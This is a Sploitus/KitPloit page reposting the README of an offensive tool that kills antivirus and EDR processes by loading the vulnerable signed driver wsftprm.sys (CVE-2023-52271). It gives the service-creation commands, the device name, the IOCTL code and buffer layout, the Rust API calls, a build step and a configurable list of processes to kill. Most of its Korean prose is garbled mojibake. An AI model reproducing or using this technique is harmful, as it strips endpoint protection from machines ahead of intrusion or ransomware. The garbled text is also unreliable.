## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-XM0KHT4R-AV-EDR-KILLER
# AV/EDR ํฌ๋ฌ
https://github.com/user-attachments/assets/1eda3340-2af2-4136-b74e-be7a3f4b3924
์ด ํ๋ก์ ํธ๋ ํฉ๋ฒ์ ์ด๊ณ ์๋ช
๋ ๋๋ผ์ด๋ฒ๊ฐ ์ปค๋ ์์ค ์ก์ธ์ค๋ฅผ ์ป๊ธฐ ์ํด ๋ฌด๊ธฐํ๋ ์ ์๋ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ค๋๋ค.
## ๐จ ์ทจ์ฝํ ๋๋ผ์ด๋ฒ:
`wsftprm.sys` , TPZ SOLUCOES DIGITAIS LTDA์์ ์๋ช
ํ์ผ๋ฉฐ, ์ด์ ์ `CVE-2023-52271`๋ก ๊ณต๊ฐ์ ์ผ๋ก ๊ณต๊ฐ๋ ๋ก์ปฌ ๊ถํ ์์น ์ทจ์ฝ์ ์ ๋
ธ์ถ๋์์ง๋ง, ์ด์งธ์์ธ์ง ์ฌ์ ํ Microsoft์ ๋๋ผ์ด๋ฒ ์ฐจ๋จ ๋ชฉ๋ก์ ์์ต๋๋ค!! ๐คซ๐คซ
์ทจ์ฝ์ ์ IOCTL ์ฝ๋ 0x22201C์ 1036๋ฐ์ดํธ ๋ฒํผ๋ฅผ ํตํด ํธ๋ฆฌ๊ฑฐ๋๋ฉฐ, ์ฒ์ 4๋ฐ์ดํธ์๋ ๋์ ํ๋ก์ธ์ค ID๊ฐ DWORD๋ก ํฌํจ๋ฉ๋๋ค. ์ทจ์ฝํ ๋๋ผ์ด๋ฒ๋ DeviceIoControl์ ํตํด ์ด ์
์ฑ IOCTL์ ์์ ํ๋ฉด ๊ฐ์ ธ์จ ZwTerminateProcess ํจ์๋ฅผ ํธ์ถํ์ฌ ๋ชจ๋ ์ฌ์ฉ์ ๋ชจ๋ ์ ํ๋ฆฌ์ผ์ด์
์ ์ปค๋ ์์ค ํ๋ก์ธ์ค ์ข
๋ฃ ๊ธฐ๋ฅ์ ๋ถ์ฌํฉ๋๋ค.
์ ์์ ์ธ ์ํ ํ์์๋ ๋น์ฐํ ์ด ๊ธฐ๋ฅ์ ์ฐ์ ์ํ์ฌ ์ค์ํ ์ํฐ๋ฐ์ด๋ฌ์ค(AV) ๋ฐ ์๋ํฌ์ธํธ ํ์ง ๋ฐ ๋์(EDR) ํ๋ก์ธ์ค๋ฅผ ์ข
๋ฃํ ๊ฒ์
๋๋ค.
## โก ์
์ฉ:
### 1\. ์๋น์ค ๋ฑ๋ก:
๊ด๋ฆฌ์ ๊ถํ์ผ๋ก cmd.exe๋ฅผ ์คํํ๊ณ , ์ ํ์ด "kernel"์ด๊ณ binPath๊ฐ ์ทจ์ฝํ ๋๋ผ์ด๋ฒ์ ์์น๋ฅผ ๊ฐ๋ฆฌํค๋ ์ปค๋ ๋๋ผ์ด๋ฒ ์๋น์ค๋ฅผ ๋ฑ๋กํ์ญ์์ค.
root@kitploit:~
> sc create MalDriver binPath= <path> type= Kernel`
> sc start MalDriver
๋ก๋๋๋ฉด ๋๋ผ์ด๋ฒ๋ ์ฌ์ฉ์ ๋ชจ๋์์ \\.\Warsaw_PM์ผ๋ก ์ก์ธ์คํ ์ ์๋ ์ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ์์ฑํฉ๋๋ค. ์ด๋ฅผ ์ฌ์ฉํ์ฌ CreateFileW API ํธ์ถ์ ํตํด ๋๋ผ์ด๋ฒ ์ฅ์น์ ๋ํ ํธ๋ค์ ์ป์ ์ ์์ต๋๋ค.
root@kitploit:~
> CreateFileW(device_name.as_ptr(), GENERIC_READ | GENERIC_WRITE, 0, ptr::null_mut(), OPEN_EXISTING, 0, ptr::null_mut())
์
์ฑ IOCTL์ ๋ณด๋ด๊ธฐ ์ํด ์ฝ๋ 0x22201C์ ์ฒ์ 4๋ฐ์ดํธ์ PID๊ฐ ํฌํจ๋ ๋ฒํผ๋ฅผ ์ฌ์ฉํ์ฌ DeviceIoControl์ ์ฌ์ฉํฉ๋๋ค.
root@kitploit:~
> DeviceIoControl(self.hDriver, 0x22201C, buffer.as_mut_ptr() as LPVOID, buffer.len() as u32, ptr::null_mut(), 0, &mut bytes_returned, ptr::null_mut())
### 2\. ์ด๋
๋ฐ์ด๋๋ฆฌ๋ฅผ ์์ฑํ๋ ค๋ฉด `Cargo build --release`๋ฅผ ์คํํ์ญ์์ค.
## ๐ ๏ธ ์ฌ์ฉ์ ์ ์:
์ข
๋ฃ ๋์ ๋ชฉ๋ก์ ์ถ๊ฐ ํ๋ก์ธ์ค๋ฅผ ์ถ๊ฐํ ์ ์์ต๋๋ค.
## ๐ ๋ฉด์ฑ
์กฐํญ
์ด ๋๊ตฌ๋ฅผ ์ฌ์ฉํ๊ธฐ ์ ์ ์ ์ ํ ๊ถํ์ด ์๋์ง ํ์ธํ๋ ๊ฒ์ ๊ทํ์ ์ฑ
์์
๋๋ค. ์์ฑ์๋ ์ค์ฉ์ ๋ํ ์ด๋ ํ ์ฑ
์๋ ์ง์ง ์์ต๋๋ค.
## ๐ค ํ์
๊ธฐ์ฌ์ ์ ์์ ํ์ํฉ๋๋ค! ์์ด๋์ด, ๊ฐ์ ์ฌํญ์ด ์๊ฑฐ๋ ํ์
์ ์ํ์๋ฉด ์ธ์ ๋ ์ง some-email@example.com์ผ๋ก ์ฐ๋ฝํด ์ฃผ์ญ์์ค.